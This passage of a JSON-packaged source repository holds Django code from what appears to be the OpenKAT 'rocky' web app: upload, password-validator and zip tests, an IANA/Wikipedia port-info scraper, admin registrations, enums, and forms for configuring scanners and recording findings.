test_upload_raw_empty_mime_types(rf, redteam_member, mock_bytes_client, mock_organization_view_octopoes, network):\n    example_file = BytesIO(b\"abc\")\n    example_file.name = \"test\"\n\n    date = datetime.now(timezone.utc)\n\n    request = setup_request(\n        rf.post(\"upload_raw\", {\"mime_types\": \"abc,,,,\", \"raw_file\": example_file, \"ooi_id\": network, \"date\": date}),\n        redteam_member.user,\n    )\n    response = UploadRaw.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    mock_bytes_client().upload_raw.assert_called_once_with(\n        b\"abc\",\n        {\"abc\"},\n        input_ooi=mock_organization_view_octopoes().get().primary_key,\n        input_dict=mock_organization_view_octopoes().get().serialize(),\n        valid_time=date,\n    )\n\n    messages = list(request._messages)\n    assert \"successfully added\" in messages[0].message\n"
  },
  {
    "path": "rocky/tests/test_validators.py",
    "content": "from account.validators import get_password_validators_help_texts\nfrom django.test import override_settings\n\n\n@override_settings(\n    AUTH_PASSWORD_VALIDATORS=[\n        {\"NAME\": \"django.contrib.auth.password_validation.MinimumLengthValidator\", \"OPTIONS\": {\"min_length\": 12}}\n    ]\n)\ndef test_password_validators_help_texts_default():\n    help_text = get_password_validators_help_texts()\n    assert \"12 characters\" in help_text\n    assert \"letters\" not in help_text\n\n\n@override_settings(\n    AUTH_PASSWORD_VALIDATORS=[\n        {\"NAME\": \"django.contrib.auth.password_validation.MinimumLengthValidator\", \"OPTIONS\": {\"min_length\": 12}},\n        {\n            \"NAME\": \"django_password_validators.password_character_requirements\"\n            \".password_validation.PasswordCharacterValidator\",\n            \"OPTIONS\": {\n                \"min_length_digit\": 2,\n                \"min_length_alpha\": 5,\n                \"min_length_special\": 9,\n                \"min_length_lower\": 4,\n                \"min_length_upper\": 7,\n                \"special_characters\": \"~!@#$%^&\",\n            },\n        },\n    ]\n)\ndef test_password_validators_help_texts_all_options():\n    help_text = get_password_validators_help_texts()\n\n    assert \"12 characters\" in help_text\n    assert \"2 digits\" in help_text\n    assert \"5 letters\" in help_text\n    assert \"9 special characters such as: ~!@#$%^&\" in help_text\n    assert \"4 lower case letters\" in help_text\n    assert \"7 upper case letters\" in help_text\n"
  },
  {
    "path": "rocky/tests/test_zip.py",
    "content": "import zipfile\n\nfrom rocky.views.bytes_raw import zip_data\n\n\ndef test_zip_data():\n    raws = {\"id1\": b\"1234\", \"id3\": b\"4321\", \"id5\": b\"asd                ss\"}\n    raw_metas = [\n        {\"id\": \"id1\", \"mime_types\": [], \"secure_hash\": \"sha256:test\", \"boefje_meta\": {}},\n        {\"id\": \"id3\", \"mime_types\": [{\"value\": \"error/test\"}], \"secure_hash\": \"sha256:test\", \"boefje_meta\": {}},\n        {\"id\": \"id5\", \"mime_types\": []},\n    ]\n\n    z_file = zip_data(raws, raw_metas)\n    assert zipfile.is_zipfile(z_file)\n\n    with zipfile.ZipFile(z_file, \"r\") as zf:\n        for raw_meta in raw_metas:\n            assert zf.read(raw_meta[\"id\"]) == raws[raw_meta[\"id\"]]\n"
  },
  {
    "path": "rocky/tools/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tools/add_ooi_information.py",
    "content": "import datetime\nfrom dataclasses import dataclass\nfrom itertools import product\n\nimport httpx\nimport structlog\nfrom bs4 import BeautifulSoup\n\nfrom rocky.version import __version__\n\nSEPARATOR = \"|\"\nSOURCE_TIMEOUT = 10\nREQUEST_HEADERS = {\"User-Agent\": f\"OpenKAT-{__version__} (maintainer@librekat.nl) https://librekat.nl\"}\n\nlogger = structlog.get_logger(__name__)\n\n\n@dataclass\nclass _Service:\n    name: str\n    port: int | None = None\n    transport_protocol: str | None = None\n    description: str | None = None\n\n\n@dataclass\nclass _PortInfo:\n    port: int\n    protocols: list\n    description: str\n\n\nclass InformationUpdateError(Exception):\n    \"\"\"Could not update information due to various reasons\"\"\"\n\n\ndef iana_service_table(source: str, search_query: str) -> list[_Service]:\n    services = []\n\n    response = httpx.get(source, params={\"search\": search_query}, timeout=SOURCE_TIMEOUT, headers=REQUEST_HEADERS)\n    response.raise_for_status()\n    soup = BeautifulSoup(response.text, \"html.parser\")\n\n    table = soup.select_one(\"table#table-service-names-port-numbers\")\n\n    if not table:\n        return []\n\n    for item in table.select(\"tbody tr\"):\n        columns = [col.text for col in item.find_all(\"td\")[:4]]\n        name, port, transport_protocol, description = columns\n\n        try:\n            if name == search_query:\n                service = _Service(\n                    name, int(port) if port else None, transport_protocol if transport_protocol else None, description\n                )\n                services.append(service)\n        except Exception:  # noqa: S110\n            # just ignore on parse errors\n            pass\n    return services\n\n\ndef service_info(value: str) -> tuple[str, str]:\n    \"\"\"Provides information about IP Services such as common assigned ports for certain protocols and descriptions\"\"\"\n    source = \"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml\"\n    services = iana_service_table(source, value)\n    if not services:\n        return f\"No description found for {value}\", \"No source found\"\n\n    descriptions = []\n    for service in services:\n        descriptions.append(\n            f\"Service is usually on port {service.port}, \"\n            f\"with protocol {service.transport_protocol}: {service.description}\"\n        )\n\n    return \". \".join(descriptions), source\n\n\n# from: https://newbedev.com/how-to-parse-table-with-rowspan-and-colspan\ndef table_to_2d(table_tag):\n    rowspans_list: list = []  # track pending rowspans\n    rows = table_tag.find_all(\"tr\")\n\n    # first scan, see how many column_names we need\n    colcount = 0\n    for r, row in enumerate(rows):\n        cells = row.find_all([\"td\", \"th\"], recursive=False)\n        # count column_names (including spanned).\n        # add active rowspans from preceding rows\n        # we *ignore* the colspan value on the last cell, to prevent\n        # creating 'phantom' column_names with no actual cells, only extended\n        # colspans. This is achieved by hardcoding the last cell width as 1.\n        # a colspan of 0 means “fill until the end” but can really only apply\n        # to the last cell; ignore it elsewhere.\n        colcount = max(\n            colcount, sum(int(c.get(\"colspan\", 1)) or 1 for c in cells[:-1]) + len(cells[-1:]) + len(rowspans_list)\n        )\n        # update rowspan bookkeeping; 0 is a span to the bottom.\n        rowspans_list += [int(c.get(\"rowspan\", 1)) or len(rows) - r for c in cells]\n        rowspans_list = [s - 1 for s in rowspans_list if s > 1]\n\n    # it doesn't matter if there are still rowspan numbers 'active'; no extra\n    # rows to show in the table means the larger than 1 rowspan numbers in the\n    # last table row are ignored.\n\n    # build an empty matrix for all possible cells\n    table = [[None] * colcount for row in rows]\n\n    # fill matrix from row data\n    rowspans: dict = {}  # track pending rowspans, column number mapping to count\n    for row, row_elem in enumerate(rows):\n        span_offset = 0  # how many column_names are skipped due to row and colspans\n        for col, cell in enumerate(row_elem.find_all([\"td\", \"th\"], recursive=False)):\n            # adjust for preceding row and colspans\n            col += span_offset\n            while rowspans.get(col, 0):\n                span_offset += 1\n                col += 1\n\n            # fill table data\n            rowspan = rowspans[col] = int(cell.get(\"rowspan\", 1)) or len(rows) - row\n            colspan = int(cell.get(\"colspan\", 1)) or colcount - col\n            # next column is offset by the colspan\n            span_offset += colspan - 1\n            value = cell.get_text()\n            for drow, dcol in product(range(rowspan), range(colspan)):\n                try:\n                    table[row + drow][col + dcol] = value\n                    rowspans[col + dcol] = rowspan\n                except IndexError:\n                    # rowspan or colspan outside the confines of the table\n                    pass\n\n        # update rowspan bookkeeping\n        rowspans = {c: s - 1 for c, s in rowspans.items() if s > 1}\n\n    return table\n\n\ndef _map_usage_value(value: str) -> bool:\n    value = value.lower().strip()\n    return bool(value and value != \"no\")\n\n\ndef wiki_port_tables(source: str) -> list[_PortInfo]:\n    response = httpx.get(source, timeout=SOURCE_TIMEOUT, headers=REQUEST_HEADERS)\n    response.raise_for_status()\n    soup = BeautifulSoup(response.text, \"html.parser\")\n\n    rows = []\n    for table in soup.select(\"table.wikitable.sortable\"):\n        rows.extend(table_to_2d(table))\n\n    del rows[:2]\n\n    items = []\n    for row in rows:\n        try:\n            port, tcp, udp, _, _, description = row\n            port = int(port)\n            protocols = []\n            if _map_usage_value(tcp):\n                protocols.append(\"tcp\")\n            if _map_usage_value(udp):\n                protocols.append(\"udp\")\n            description = description.strip()\n        except Exception:  # noqa: S112\n            continue\n\n        items.append(_PortInfo(port, protocols, description))\n\n    return items\n\n\ndef port_info(number: str, protocol: str) -> tuple[str, str]:\n    \"\"\"Provides possible or common protocols for operation of network applications behind TCP and UDP ports\"\"\"\n    source = \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\"\n    items = wiki_port_tables(source)\n    descriptions = []\n    if not items:\n        return (f\"No description found in wiki table for port {number} with protocol {protocol}\", source)\n\n    for item in items:\n        if item.port == int(number) and protocol.lower() in item.protocols:\n            descriptions.append(item.description)\n\n    return \". \".join(descriptions), source\n\n\ndef get_info(ooi_type: str, natural_key: str) -> dict:\n    \"\"\"Adds OOI information to the OOI Information table\"\"\"\n    logger.info(\"Getting OOI information for %s %s\", ooi_type, natural_key)\n    try:\n        if ooi_type == \"IPPort\":\n            protocol, port = natural_key.split(SEPARATOR)\n            description, source = port_info(port, protocol)\n            return {\n                \"description\": description,\n                \"source\": source,\n                \"information updated\": datetime.datetime.now().strftime(\"%d-%m-%Y %H:%M:%S\"),\n            }\n        if ooi_type == \"Service\":\n            description, source = service_info(natural_key)\n            return {\n                \"description\": description,\n                \"source\": source,\n                \"information updated\": datetime.datetime.now().strftime(\"%d-%m-%Y %H:%M:%S\"),\n            }\n    except httpx.HTTPError as error:\n        logger.error(\"Getting OOI information for %s %s failed due to http error: %s\", ooi_type, natural_key, error)\n        raise InformationUpdateError()\n    return {\"description\": \"No source available.\"}\n"
  },
  {
    "path": "rocky/tools/admin.py",
    "content": "import json\nfrom json import JSONDecodeError\n\nimport tagulous.admin\nfrom crisis_room.models import Dashboard, DashboardItem\nfrom django.contrib import admin, messages\nfrom django.db.models import JSONField\nfrom django.forms import widgets\nfrom django.http import HttpRequest, HttpResponseRedirect\n\nfrom rocky.exceptions import RockyError\nfrom tools.models import Indemnification, OOIInformation, Organization, OrganizationMember, OrganizationTag\n\n\nclass JSONInfoWidget(widgets.Textarea):\n    # neater way of displaying json field\n    def format_value(self, value):\n        try:\n            value = json.dumps(json.loads(value), indent=2, sort_keys=True)\n            # these lines will try to adjust size of TextArea to fit to content\n            row_lengths = [len(r) for r in value.split(\"\\n\")]\n            self.attrs[\"rows\"] = min(max(len(row_lengths) + 2, 10), 30)\n            self.attrs[\"cols\"] = min(max(max(row_lengths) + 2, 40), 120)\n            return value\n        except JSONDecodeError:\n            return super().format_value(value)\n\n\n@admin.register(OOIInformation)\nclass OOIInformationAdmin(admin.ModelAdmin):\n    # makes sure that the order stays the same\n    fields = (\"id\", \"data\", \"consult_api\")\n\n    # better layout of Json field\n    formfield_overrides = {JSONField: {\"widget\": JSONInfoWidget}}\n\n    # if pk is not readonly, it will create a new record upon editing\n    def get_readonly_fields(\n        self, request: HttpRequest, obj: OOIInformation | None = None\n    ) -> list[str] | tuple[str, ...]:\n        if obj is not None:  # editing an existing object\n            if not obj.value:\n                return self.readonly_fields + (\"id\", \"consult_api\")\n            return self.readonly_fields + (\"id\",)\n        return self.readonly_fields\n\n\nclass OrganizationAdmin(admin.ModelAdmin):\n    list_display = [\"name\", \"code\", \"tags\"]\n\n    def add_view(self, request, *args, **kwargs):\n        try:\n            return super().add_view(request, *args, **kwargs)\n        except RockyError as e:\n            self.message_user(request, str(e), level=messages.ERROR)\n            return HttpResponseRedirect(request.get_full_path())\n\n    def get_readonly_fields(self, request, obj=None):\n        # Obj is None when adding an organization and in that case we don't make\n        # code read only so it is possible to specify the code when creating an\n        # organization, but code must be read only after the organization\n        # objecht has been created.\n        if obj:\n            return [\"code\"]\n        else:\n            return []\n\n\n@admin.register(OrganizationMember)\nclass OrganizationMemberAdmin(admin.ModelAdmin):\n    list_display = (\"user\", \"organization\")\n\n\n@admin.register(Indemnification)\nclass IndemnificationAdmin(admin.ModelAdmin):\n    list_display = (\"organization\", \"user\")\n\n    def get_readonly_fields(self, request, obj=None):\n        if not request.user.is_superuser:\n            return [f.name for f in self.model._meta.fields]\n        else:\n            return []\n\n\n@admin.register(OrganizationTag)\nclass OrganizationTagAdmin(admin.ModelAdmin):\n    pass\n\n\n@admin.register(DashboardItem)\nclass DahboardDataAdmin(admin.ModelAdmin):\n    pass\n\n\n@admin.register(Dashboard)\nclass DahboardAdmin(admin.ModelAdmin):\n    pass\n\n\ntagulous.admin.register(Organization, OrganizationAdmin)\n"
  },
  {
    "path": "rocky/tools/apps.py",
    "content": "from django.apps import AppConfig\n\n\nclass ToolsConfig(AppConfig):\n    default_auto_field = \"django.db.models.BigAutoField\"\n    name = \"tools\"\n"
  },
  {
    "path": "rocky/tools/context_processors.py",
    "content": "from account.models import KATUser\nfrom django.conf import settings\n\nfrom rocky.version import __version__\n\n\ndef feature_flags(request):\n    context = {}\n    for name in dir(settings):\n        if name.startswith(\"FEATURE_\"):\n            context[name] = getattr(settings, name)\n    return context\n\n\ndef languages(request):\n    context = {\"languages\": [code for code, _ in settings.LANGUAGES]}\n    return context\n\n\ndef organizations_including_blocked(request):\n    context = {}\n    if isinstance(request.user, KATUser):\n        context[\"organizations_including_blocked\"] = request.user.organizations_including_blocked\n    return context\n\n\ndef rocky_version(request):\n    context = {\"rocky_version\": __version__}\n    return context\n"
  },
  {
    "path": "rocky/tools/enums.py",
    "content": "from enum import Enum\nfrom typing import cast\n\nfrom django.db import models\n\n\nclass SCAN_LEVEL(models.IntegerChoices):\n    L0 = 0, \"L0\"\n    L1 = 1, \"L1\"\n    L2 = 2, \"L2\"\n    L3 = 3, \"L3\"\n    L4 = 4, \"L4\"\n\n\nMAX_SCAN_LEVEL = max(scan_level.value for scan_level in cast(type[Enum], SCAN_LEVEL))\n\n\nclass CUSTOM_SCAN_LEVEL(models.Choices):\n    INHERIT = \"inherit\"\n    L0 = 0\n    L1 = 1\n    L2 = 2\n    L3 = 3\n    L4 = 4\n"
  },
  {
    "path": "rocky/tools/fields.py",
    "content": "from django.db import models\n\n\nclass LowerCaseSlugField(models.SlugField):\n    def to_python(self, value):\n        if value is None:\n            return None\n        return value.lower()\n"
  },
  {
    "path": "rocky/tools/forms/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tools/forms/base.py",
    "content": "import contextlib\nfrom typing import Any\n\nfrom django import forms\nfrom django.forms import Widget\nfrom django.utils.translation import gettext_lazy as _\n\nfrom tools.forms.settings import OBSERVED_AT_HELP_TEXT, Choices, ChoicesGroups\n\n\nclass BaseRockyModelForm(forms.ModelForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.label_suffix = \"\"  # Removes : as label suffix\n\n\nclass BaseRockyForm(forms.Form):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.label_suffix = \"\"  # Removes : as label suffix\n\n    def set_choices_for_field(self, field: str, choices: Choices | ChoicesGroups) -> None:\n        if field in self.fields:\n            self.fields[field].choices = choices\n\n    def set_choices_for_widget(self, field: str, choices: Choices | ChoicesGroups) -> None:\n        self.fields[field].widget.choices = choices\n\n    def set_required_options_for_widget(self, field: str, required_options: list[str]) -> None:\n        \"\"\"For multiselect widgets, set the required options.\"\"\"\n        self.fields[field].widget.required_options = required_options\n\n\nclass DateInput(forms.DateInput):\n    input_type = \"date\"\n\n\nclass DateTimeInput(forms.DateTimeInput):\n    input_type = \"datetime-local\"\n\n\nclass DataListInput(forms.Select):\n    input_type = \"text\"\n    template_name = \"forms/widgets/datalist.html\"\n\n    def __init__(self, attrs=None, choices=()):\n        super().__init__(attrs)\n        self.choices = list(choices)\n\n    def format_value(self, value):\n        \"\"\"Return selected value as string.\"\"\"\n        if value is None:\n            return \"\"\n        return str(value)\n\n\nclass ObservedAtForm(BaseRockyForm):\n    observed_at = forms.DateField(\n        label=_(\"Date\"), widget=DateInput(format=\"%Y-%m-%d\"), required=False, help_text=OBSERVED_AT_HELP_TEXT\n    )\n\n\nclass LabeledCheckboxInput(forms.CheckboxInput):\n    template_name = \"forms/widgets/checkbox_option.html\"\n\n    def __init__(self, label: str = \"\", autosubmit: bool = False):\n        super().__init__()\n        self.label = label\n        self.autosubmit = autosubmit\n\n    def get_context(self, name, value, attrs):\n        context = super().get_context(name, value, attrs)\n        context[\"widget\"][\"wrap_label\"] = True\n        context[\"widget\"][\"label\"] = self.label\n        context[\"widget\"][\"attrs\"][\"class\"] = \"submit-on-click\"\n        return context\n\n\nclass CheckboxGroup(forms.CheckboxSelectMultiple):\n    input_type = \"checkbox\"\n    template_name = \"forms/widgets/checkbox_group_columns.html\"\n    option_template_name = \"forms/widgets/checkbox_option.html\"\n    required_options: list[str]\n    wrap_label = True\n\n    def __init__(self, required_options: list[str] | None = None, *args: Any, **kwargs: Any) -> None:\n        super().__init__(*args, **kwargs)\n        self.required_options = required_options or []\n\n    def get_context(self, name: str, value: Any, attrs: dict[str, Any] | None) -> dict[str, Any]:\n        context = super().get_context(name, value, attrs)\n        return context\n\n    def create_option(self, *arg: Any, **kwargs: Any) -> dict[str, Any]:\n        option = super().create_option(*arg, **kwargs)\n        option[\"wrap_label\"] = self.wrap_label\n        option[\"attrs\"][\"checked\"] = self.is_required_option(option[\"value\"])\n        option[\"attrs\"][\"required\"] = self.is_required_option(option[\"value\"])\n        return option\n\n    def is_required_option(self, value: str) -> bool:\n        return value in self.required_options\n\n\nclass CheckboxTable(Widget):\n    input_type = \"checkbox\"\n    template_name = \"forms/widgets/checkbox_group_table.html\"\n    checkbox_template_name = \"forms/widgets/checkbox_option.html\"\n    checked_attribute = {\"checked\": True}\n    option_inherits_attrs = False\n    add_id_index = False\n    allow_multiple_selected = True\n    wrap_label = False\n\n    def __init__(self, attrs=None, column_names=(), choices=(), column_templates=()):\n        super().__init__(attrs)\n        self.choices = choices\n        self.column_names = column_names\n        self.column_templates = column_templates\n\n    def get_context(self, name, value, attrs):\n        context = super().get_context(name, value, attrs)\n\n        context[\"widget\"][\"options\"] = []\n        for index, (choice_value, choice_label) in enumerate(self.choices):\n            selected = str(choice_value) in value if value is not None else False\n            context[\"widget\"][\"options\"].append(\n                self.create_option(name, choice_value, choice_label, selected, index, attrs=attrs)\n            )\n\n        context[\"widget\"][\"column_names\"] = self.column_names\n        context[\"widget\"][\"column_templates\"] = self.column_templates\n        return context\n\n    def id_for_label(self, id_, index=\"0\"):\n        \"\"\"\n        Use an incremented id for each option where the main widget\n        references the zero index.\n        \"\"\"\n        if id_ and self.add_id_index:\n            id_ = f\"{id_}_{index}\"\n        return id_\n\n    def create_option(self, name, value, label, selected, index, attrs=None):\n        index = str(index)\n        if attrs is None:\n            attrs = {}\n        option_attrs = self.build_attrs(self.attrs, attrs) if self.option_inherits_attrs else {}\n        if selected:\n            option_attrs.update(self.checked_attribute)\n        if \"id\" in option_attrs:\n            option_attrs[\"id\"] = self.id_for_label(option_attrs[\"id\"], index)\n        return {\n            \"name\": name,\n            \"value\": value,\n            \"label\": label,\n            \"selected\": selected,\n            \"index\": index,\n            \"attrs\": option_attrs,\n            \"type\": self.input_type,\n            \"template_name\": self.checkbox_template_name,\n            \"wrap_label\": self.wrap_label,\n        }\n\n    def value_from_datadict(self, data, files, name):\n        del files\n        getter = data.get\n        if self.allow_multiple_selected:\n            with contextlib.suppress(AttributeError):\n                getter = data.getlist\n\n        return getter(name)\n\n    def format_value(self, value):\n        \"\"\"Return selected values as a list.\"\"\"\n        if value is None and self.allow_multiple_selected:\n            return []\n        if not isinstance(value, tuple | list):\n            value = [value]\n        return [str(v) if v is not None else \"\" for v in value]\n"
  },
  {
    "path": "rocky/tools/forms/boefje.py",
    "content": "from django import forms\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models.types import ALL_TYPES\nfrom tools.enums import SCAN_LEVEL\nfrom tools.forms.base import BaseRockyForm\nfrom tools.forms.settings import (\n    BOEFJE_CONSUMES_HELP_TEXT,\n    BOEFJE_CONTAINER_IMAGE_HELP_TEXT,\n    BOEFJE_DESCRIPTION_HELP_TEXT,\n    BOEFJE_PRODUCES_HELP_TEXT,\n    BOEFJE_RUN_ON_HELP_TEXT,\n    BOEFJE_SCAN_LEVEL_HELP_TEXT,\n    BOEFJE_SCHEMA_HELP_TEXT,\n)\n\nOOI_TYPE_CHOICES = sorted((ooi_type.get_object_type(), ooi_type.get_object_type()) for ooi_type in ALL_TYPES)\nSCAN_TYPE_CHOICES = [(\"interval\", \"Run on interval, every:\"), (\"run_on\", \"Run on object creation/change:\")]\nINTERVAL_CHOICES = [\n    (\"minutes\", \"minutes\"),\n    (\"hours\", \"hours\"),\n    (\"days\", \"days\"),\n    (\"weeks\", \"weeks\"),\n    (\"years\", \"years\"),\n]\nOBJECT_CHANGE_CHOICES = [(\"create\", \"Creation\"), (\"update\", \"Change\"), (\"create-update\", \"Creation and change\")]\n\n\nclass BoefjeSetupForm(BaseRockyForm):\n    oci_image = forms.CharField(required=True, label=_(\"Container image\"), help_text=BOEFJE_CONTAINER_IMAGE_HELP_TEXT)\n    name = forms.CharField(required=True, label=_(\"Name\"))\n    description = forms.CharField(\n        required=False,\n        label=_(\"Description\"),\n        widget=forms.Textarea(attrs={\"rows\": 3}),\n        help_text=BOEFJE_DESCRIPTION_HELP_TEXT,\n    )\n    oci_arguments = forms.CharField(\n        required=False,\n        label=_(\"Arguments\"),\n        widget=forms.TextInput(\n            attrs={\"description\": _(\"For example: -sTU --top-ports 1000\"), \"aria-describedby\": \"input-description\"}\n        ),\n    )\n    boefje_schema = forms.JSONField(required=False, label=_(\"JSON Schema\"), help_text=BOEFJE_SCHEMA_HELP_TEXT)\n    consumes = forms.CharField(\n        required=False,\n        label=_(\"Input object type\"),\n        widget=forms.SelectMultiple(choices=OOI_TYPE_CHOICES),\n        help_text=BOEFJE_CONSUMES_HELP_TEXT,\n    )\n    produces = forms.CharField(required=False, label=_(\"Output mime types\"), help_text=BOEFJE_PRODUCES_HELP_TEXT)\n    scan_level = forms.CharField(\n        required=False,\n        label=_(\"Clearance level\"),\n        widget=forms.Select(choices=SCAN_LEVEL.choices),\n        help_text=BOEFJE_SCAN_LEVEL_HELP_TEXT,\n    )\n    scan_type = forms.CharField(\n        required=False,\n        label=_(\"Scan type\"),\n        widget=forms.RadioSelect(\n            choices=SCAN_TYPE_CHOICES, attrs={\"class\": \"radio-choice\", \"data-choicegroup\": \"runon_selector\"}\n        ),\n        help_text=BOEFJE_RUN_ON_HELP_TEXT,\n        initial=\"interval\",\n    )\n    interval_number = forms.CharField(\n        required=False,\n        label=_(\"Interval amount\"),\n        widget=forms.TextInput(\n            attrs={\n                \"description\": _(\n                    \"Specify the scanning interval for this Boefje. The default is 24 hours. \"\n                    \"For example: 5 minutes will let the Boefje scan every 5 minutes.\"\n                ),\n                \"class\": \"runon_selector interval\",\n            }\n        ),\n    )\n    interval_frequency = forms.CharField(\n        required=False,\n        label=_(\"Interval frequency\"),\n        widget=forms.Select(choices=INTERVAL_CHOICES, attrs={\"class\": \"runon_selector interval\"}),\n    )\n    run_on = forms.CharField(\n        required=False,\n        label=_(\"Object creation/change\"),\n        widget=forms.Select(\n            choices=OBJECT_CHANGE_CHOICES,\n            attrs={\n                \"description\": _(\"Choose weather the Boefje should run after creating and/or changing an object. \"),\n                \"class\": \"runon_selector run_on\",\n            },\n        ),\n    )\n"
  },
  {
    "path": "rocky/tools/forms/finding_type.py",
    "content": "from datetime import datetime, timezone\nfrom typing import Any\n\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom tools.forms.base import BaseRockyForm, DataListInput, DateTimeInput\nfrom tools.forms.settings import (\n    FINDING_DATETIME_HELP_TEXT,\n    FINDING_TYPE_IDS_HELP_TEXT,\n    MANUAL_FINDING_ID_PREFIX,\n    PIE_SCALE_CHOICES,\n    PIE_SCALE_EFFORT_CHOICES,\n    RISK_RATING_CHOICES,\n)\nfrom tools.models import OOIInformation\n\n\nclass FindingTypeAddForm(BaseRockyForm):\n    id = forms.CharField(\n        label=_(\"KAT-ID\"),\n        max_length=120,\n        help_text=_(\"Unique ID within OpenKAT, for this type\"),\n        widget=forms.TextInput(attrs={\"placeholder\": \"KAT-000000\"}),\n    )\n    title = forms.CharField(\n        label=_(\"Title\"),\n        max_length=120,\n        widget=forms.TextInput(attrs={\"placeholder\": _(\"Give the finding type a fitting title\")}),\n    )\n    description = forms.CharField(\n        label=_(\"Description\"), widget=forms.Textarea(attrs={\"placeholder\": _(\"Describe the finding type\"), \"rows\": 3})\n    )\n    risk = forms.CharField(label=_(\"Risk\"), widget=forms.Select(choices=RISK_RATING_CHOICES), required=False)\n    solution = forms.CharField(\n        label=_(\"Solution\"),\n        widget=forms.Textarea(attrs={\"placeholder\": _(\"How can this be solved?\"), \"rows\": 3}),\n        required=False,\n        help_text=_(\"Describe how this type of finding can be solved\"),\n    )\n    references = forms.CharField(\n        label=_(\"References\"),\n        widget=forms.Textarea(attrs={\"placeholder\": _(\"Please give some references on the solution\"), \"rows\": 3}),\n        required=False,\n        help_text=_(\"Please give sources and references on the suggested solution\"),\n    )\n    impact_description = forms.CharField(\n        label=_(\"Impact description\"),\n        widget=forms.Textarea(attrs={\"placeholder\": _(\"Describe the solutions impact\"), \"rows\": 3}),\n        required=False,\n    )\n    solution_chance = forms.CharField(\n        label=_(\"Solution chance\"), widget=forms.Select(choices=PIE_SCALE_CHOICES), required=False\n    )\n    solution_impact = forms.CharField(\n        label=_(\"Solution impact\"), widget=forms.Select(choices=PIE_SCALE_CHOICES), required=False\n    )\n    solution_effort = forms.CharField(\n        label=_(\"Solution effort\"), widget=forms.Select(choices=PIE_SCALE_EFFORT_CHOICES), required=False\n    )\n\n    def clean_id(self):\n        data = self.cleaned_data[\"id\"]\n        self.check_finding_type_existence(data)\n        if not data.startswith(MANUAL_FINDING_ID_PREFIX):\n            raise ValidationError(_(\"ID should start with \") + MANUAL_FINDING_ID_PREFIX)\n\n        return data\n\n    def check_finding_type_existence(self, finding_type_id):\n        _, created = OOIInformation.objects.get_or_create(id=f\"KATFindingType|{finding_type_id}\")\n\n        if not created:\n            raise ValidationError(_(\"Finding type already exists\"))\n\n\nclass FindingAddForm(BaseRockyForm):\n    ooi_id = forms.CharField(\n        label=\"OOI\", widget=DataListInput(attrs={\"placeholder\": _(\"Click to select one of the available options\")})\n    )\n    finding_type_ids = forms.CharField(\n        label=_(\"Finding types\"),\n        widget=forms.Textarea(\n            # Multi line placeholder because this textarea asks the user for every finding type on a new line.\n            attrs={\n                \"placeholder\": \"\"\"KAT-999\nKAT-998\nCVE-2021-00000\"\"\",\n                \"rows\": 3,\n            }\n        ),\n        help_text=FINDING_TYPE_IDS_HELP_TEXT,\n    )\n    proof = forms.CharField(\n        label=_(\"Proof\"),\n        widget=forms.Textarea(attrs={\"placeholder\": _(\"Provide evidence of your finding\"), \"rows\": 3}),\n        required=False,\n    )\n    description = forms.CharField(\n        label=_(\"Description\"), widget=forms.Textarea(attrs={\"placeholder\": _(\"Describe your finding\"), \"rows\": 3})\n    )\n    reproduce = forms.CharField(\n        label=_(\"Reproduce finding\"),\n        widget=forms.Textarea(attrs={\"placeholder\": _(\"Please explain how to reproduce your finding\"), \"rows\": 3}),\n        required=False,\n    )\n    date = forms.DateTimeField(\n        label=_(\"Date/Time (UTC)\"),\n        widget=DateTimeInput(format=\"%Y-%m-%dT%H:%M\"),\n        initial=lambda: datetime.now(tz=timezone.utc),\n        help_text=FINDING_DATETIME_HELP_TEXT,\n    )\n\n    def __init__(self, connector: OctopoesAPIConnector, ooi_list: list[tuple[str, str]], *args: Any, **kwargs: Any):\n        self.octopoes_connector = connector\n        super().__init__(*args, **kwargs)\n        self.set_choices_for_widget(\"ooi_id\", ooi_list)\n\n    def clean_date(self):\n        data = self.cleaned_data[\"date\"]\n\n        # date should not be in the future\n        if data > datetime.now(tz=timezone.utc):\n            raise ValidationError(_(\"Doc! I'm from the future, I'm here to take you back!\"))\n\n        return data\n\n    def clean_ooi_id(self):\n        try:\n            data = self.cleaned_data[\"ooi_id\"]\n            self.octopoes_connector.get(Reference.from_str(data), datetime.now(timezone.utc))\n            return data\n        except ObjectNotFoundException:\n            raise ValidationError(_(\"OOI doesn't exist\"))\n"
  },
  {
    "path": "rocky/tools/forms/findings.py",
    "content": "from django import forms\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models.ooi.findings import RiskLevelSeverity\nfrom tools.forms.base import BaseRockyForm\n\nFINDINGS_SEVERITIES_CHOICES = (\n    (str(severity.name).lower(), str(severity.value).lower()) for severity in RiskLevelSeverity\n)\n\nMUTED_FINDINGS_CHOICES = (\n    (\"non-muted\", _(\"Show non-muted findings\")),\n    (\"muted\", _(\"Show muted findings\")),\n    (\"all\", _(\"Show muted and non-muted findings\")),\n)\n\n\nclass FindingSeverityMultiSelectForm(forms.Form):\n    severity = forms.MultipleChoiceField(\n        label=_(\"Filter by severity\"),\n        required=False,\n        choices=FINDINGS_SEVERITIES_CHOICES,\n        widget=forms.CheckboxSelectMultiple,\n    )\n\n\nclass MutedFindingSelectionForm(BaseRockyForm):\n    muted_findings = forms.ChoiceField(\n        initial=\"non-muted\",\n        label=_(\"Filter by muted findings\"),\n        required=False,\n        choices=MUTED_FINDINGS_CHOICES,\n        widget=forms.RadioSelect,\n    )\n\n\nclass FindingSearchForm(BaseRockyForm):\n    search = forms.CharField(\n        label=_(\"Search\"), required=False, max_length=256, help_text=_(\"Object ID contains (case sensitive)\")\n    )\n\n\nclass OrderByFindingTypeForm(BaseRockyForm):\n    order_by = forms.CharField(widget=forms.HiddenInput(attrs={\"value\": \"finding_type\"}), required=False)\n\n\nclass OrderBySeverityForm(BaseRockyForm):\n    order_by = 